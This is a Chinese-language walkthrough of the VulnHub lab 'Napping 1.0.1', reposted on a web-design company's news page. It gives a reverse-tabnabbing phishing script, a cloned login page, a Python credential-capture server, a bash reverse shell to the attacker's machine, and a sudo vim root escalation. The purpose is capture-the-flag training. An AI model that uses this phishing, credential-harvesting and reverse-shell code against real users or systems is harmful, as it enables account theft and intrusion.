尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

Napping: 1.0.1靶场攻略

Napping: 1.0.1靶场攻略
📅 发布时间:2026/7/8 2:27:38

靶场:Napping: 1.0.1 ~ VulnHub

说明:因为不会这道题的解法看了大家的攻略复现过程中发现了一些问题,用ai等工具改进后得出 结果。问题具体表现为网上普遍的解法用nc lvp 8888 和python -m http.server 到8000端口后靶机会无法post成功,因为根据同源策略由8000端口转换为8888端口后会向8888端口发送请求头,nc监听无法回应,靶机只能转向8000端口发送post请求,而http中没有post功能会出现503报错。以下是具体攻略,只讲解过程,有不会的代码请自行ai。

环境介绍

虚拟机:VirtualBox

靶机ip:192.168.86.8

攻击机ip: 192.168.86.4(kali)

连接方式:NAT网络

一、信息搜集

扫描局域网获得靶机ip

arp-scan -l

找到ip为192.168.86.8。

用namp扫描开放端口

nmap -A -p 1-65535 192.168.86.8

22 ssh端口和80 默认端口开着。访问目录没结果,不列出了,我们直接下一步,访问浏览器。

二、漏洞利用

打开 http://192.168.86.8/

注册一个账户登录。

您好,管理员!欢迎来到我们的免费博客推广网站。 请提交你的链接以便我们开始审核。所有链接都会由管理员进行核验。

意思就是我们提交的网站他管理员会登录,我们就可以使用钓鱼链接提交网站。

首先我们要制作自己的钓鱼脚本B.html

<script> if(window.opener){ window.opener.location.replace("http://192.168.86.4:8000/c.html"); } </script>

意思是打开就会跳转到我们设置的仿靶机的登录网站。

然后直接查看登录页面的源代码制作c.html

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Login</title> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css"> <style> body{ font: 14px sans-serif; } .wrapper{ width: 360px; padding: 20px; } </style> </head> <body> <div class="wrapper"> <h2>Login</h2> <p>Please fill in your credentials to login.</p> <form action="/" method="post"> <div class="form-group"> <label>Username</label> <input type="text" name="username" class="form-control " value=""> <span class="invalid-feedback"></span> </div> <div class="form-group"> <label>Password</label> <input type="password" name="password" class="form-control "> <span class="invalid-feedback"></span> </div> <div class="form-group"> <input type="submit" class="btn btn-primary" value="Login"> </div> <p>Don't have an account? <a href="register.php">Sign up now</a>.</p> </form> </div> </body> </html>

注意把表格提交位置这个改一下,<form action="/" method="post">

再写一个server.py

from http.server import HTTPServer, BaseHTTPRequestHandler import os class Handler(BaseHTTPRequestHandler): def do_GET(self): path = self.path.lstrip("/") if os.path.exists(path): with open(path, "rb") as f: data = f.read() self.send_response(200) self.send_header("Content-Type", "text/html;charset=utf-8") self.end_headers() self.wfile.write(data) else: self.send_response(404) self.end_headers() def do_POST(self): length = int(self.headers["Content-Length"]) data = self.rfile.read(length).decode() print("\n==== 捕获登录凭证 ====") print(data) print("======================\n") self.send_response(200) self.send_header("Content-Type", "text/html;charset=utf-8") self.end_headers() self.wfile.write("<h3>登录成功,请稍后</h3>".encode("utf-8")) if __name__ == "__main__": server = HTTPServer(("0.0.0.0", 8000), Handler) print("服务启动 0.0.0.0:8000") server.serve_forever()

把他们放kali的/var/www/html里,放不进去的话右键open as root,输入密码就行了。然后

运行server.py

python3 server.py

这里稍微讲解一下为什么会这样,因为http没有post请求,所以需要用python脚本建立一个post方式这样我们建立的http回话才能用post传递。这里比较抽象,可以结合别人的攻略还有开头我说的问题一起阅读更方便理解。

具体是这样的

得到账号密码

  • 用户名:daniel
  • 密码:C@ughtm3napping123

用ssh登录

ssh daniel@192.168.86.8

如果有问题 就输入yes

然后输入密码C@ughtm3napping123

三、提权

用id查看当前所在的用户组

发现administrators

查找administrators下的可执行文件

find / -group administrators 2>/dev/null

然后往里塞两行代码,让他打开shell.sh文件。

import os os.system('/usr/bin/bash /home/daniel/shell.sh')

用vim 打开这个python.py

vim /home/adrian/query.py

i插入,写完了之后按ESC,然后输入:wq!回车保存!

然后再写shell.sh

vim /home/daniel/shell.sh
bash -c 'bash -i >& /dev/tcp/192.168.86.4/1234 0>&1'

完成后用kali监听nc

nc -lvpp 1234

sudo -l,列出当前用户所有 sudo 权限,发现vim

用vim提权,

sudo /usr/bin/vim -c ':!/bin/sh'

这回就是root了,

找到root所属文件夹。

cd /root ls cat root.txt

Admins just can't stay awake tsk tsk tsk

结果是这个。


相关新闻

  • 自动调整学习率
  • LangGraph 工作流:普通开发者先补哪三块
  • 我给 AI 提了个小需求,它帮我“重构“了整个系统——AI 编程范围失控怎么办?

最新新闻

  • 多工位转台组合机床选型参考:国产秋竹机床与进口设备差异化解析
  • Frida 15.2.2 Hook HashMap.put 实战:抖音 23.9 版本六神参数拦截与日志分析
  • 2026光选机品牌实测评测:四家头部6维度横评(分得利/陶朗/弓叶/美亚)
  • 【类型转换】
  • 海思网络错误(烧录报tftp错误等)解决思路分享
  • 终极Wwise音频容器解析指南:如何免费快速修改游戏音频文件

日新闻

  • PROPKA 3深度解析:蛋白质pKa预测的实战指南与算法原理
  • 微信小程序 globalData 监听:基于 Object.defineProperty 的 3 种实现方案对比
  • MySQL 8.0 数据清洗实战:3类异常值识别与 UPDATE/DELETE 批量处理

周新闻

  • 基于YOLOv12的番茄成熟度智能检测系统开发
  • 终极RimWorld模组管理指南:用RimSort告别模组冲突烦恼
  • AI Agent框架开发:从理论到实践的完整指南

月新闻

  • 2026年6月公司网站搭建最新热门渠道测评:四大低成本/零代码平台对比+避坑
  • 【Linux】Linux arm 编译QT程序,出现expected “}“报错
  • 【MATLAB例程】四基站二维AOA定位与距离辅助增强对比仿真。基于角度观测和测距修正的固定目标平面定位精度分析

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号